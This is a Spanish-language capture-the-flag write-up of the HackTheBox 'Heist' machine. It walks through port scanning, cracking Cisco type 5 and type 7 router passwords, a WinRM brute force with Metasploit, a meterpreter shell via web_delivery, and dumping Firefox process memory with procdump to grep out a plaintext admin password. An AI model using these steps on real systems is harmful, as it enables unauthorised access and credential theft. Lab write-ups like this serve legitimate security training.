[HackTheBox – Heist] Spanish Writeup

Valoraciones:

Escaneo de puertos:

Nmap scan report for 10.10.10.149
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|clock-skew: mean: -36s, deviation: 0s, median: -36s | smb2-security-mode: | 2.02: | Message signing enabled but not required
| smb2-time:
| date: 2019-08-10 21:04:32
|_ start_date: N/A

Enumeración

Accedemos al servidor web y nos topamos con un login.

Tras probar varias contraseñas comunes sin éxito, entramos como invitado.

Nos encontramos una conversación entre un cliente (Hazard) con el soporte sobre errores en el router del cliente. Como vemos, el primer mensaje lleva un archivo adjunto.

no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ss

Se trata de un archivo de configuración para un router Cisco IOS donde podemos ver varios posibles usuarios y contraseñas. Tras un rato de investigación, descubrimos que la primera es una contraseña tipo 5 de Cisco IOS, y las dos siguientes son tipo 7. Para la primera será necesaria la fuerza bruta con diccionario (rockyou) y para las dos siguientes hay páginas online que nos las pueden descifrar.

Datos finales de la enumeración web:

[Usuarios]: Hazard, Support Admin, rout3r, admin.

[Contraseñas]: stealth1agent, $uperP@ssword, Q4)sJu\Y8qz*A3?d.

Como muestra el escaneo de puertos, tambien tiene un servidor Samba corriendo junto con WinRM y RPC. Ya que WinRM necesita credenciales, vamos a ver si podemos conseguir algo más enumerando Samba.

Ejecutando enum4linux vemos cosas interesantes al hacer un check de los SIDs en RPC.

enum4linux -u hazard -p stealth1agent -a 10.10.10.149

S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESK\Hazard (Local User)
S-1-5-21-4254423774-1266059056-3197185112-1009 SUPPORTDESK\support (Local User)
S-1-5-21-4254423774-1266059056-3197185112-1012 SUPPORTDESK\Chase (Local User)
S-1-5-21-4254423774-1266059056-3197185112-1013 SUPPORTDESK\Jason (Local User)

Explotación

Teniendo estos datos usamos Metasploit Framework para hacer un ataque de fuerza bruta a WinRM.

$ msfconsole

> auxiliary/scanner/winrm/winrm_login
> set RHOSTS 10.10.10.149
> set DOMAIN SUPPORTDESK
> set USER_FILE users.txt
> set PASS_FILE pwds.txt 

Tenemos resultado positivo!

[+] 10.10.10.149:5985 - Login Successful: SUPPORTDESK\Chase:Q4)sJu\Y8qz*A3?d

Tras probar estas credenciales para entrar en WinRM a través de Metasploit nos dice que son incorrectas, por lo que vamos a usar algún script que haya por internet para loguearse en WinRM y conseguir acceso a Powershell. Encontramos esta: Seguimos los pasos, la configuramos cambiando el usuario y la contraseña, y tenemos acceso!

Migramos a un meterpreter con exploit/multi/script/web_delivery y ya tenemos una shell en condiciones.

Post-Explotación

Ejecutando scripts de enumeración en Windows (como LinEnum en Linux)vemos que tenemos muy pocos privilegios en lo relacionado a procesos, por lo que investigamos más a fondo qué está corriendo en el sistema con Get-Process en Powershell.

Después de un rato llegamos a la conclusión de que firefox puede estar abierto porque Chase (nuestro usuario actual) pueda ser el Support Admin que está arreglando el problema de Hazard. (También se encuentra una nota en la carpeta de usuario de Chase en la que apunta cosas relacionadas con esto último.)

Tras investigar un rato sobre cómo dumpear/conseguir información de procesos en Windows, debido a que no tenemos permisos en la consola tenemos que ejecutar Procdump.

procdump.exe -ma PID
Donde PID es el ID del proceso que queremos dumpear. En este caso no lo he puesto porque no es estable.

Para acabar, hacemos un strings al .dmp y grepeamos “pasword”, porque lo que queremos es coger la contraseña con la que Chase está logueado en la web.

strings -a DUMP.dmp | grep password
El -a lo ponemos para que nos muestre el resultado en texto plano.

Y obtenemos esto:

localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ
Una petición POST con las credenciales en la URL.

Con esta información, usamos el script anterior cambiando las credenciales y…

Si has llegado hasta aquí, gracias por leerme! Nos vemos en el siguiente Writeup.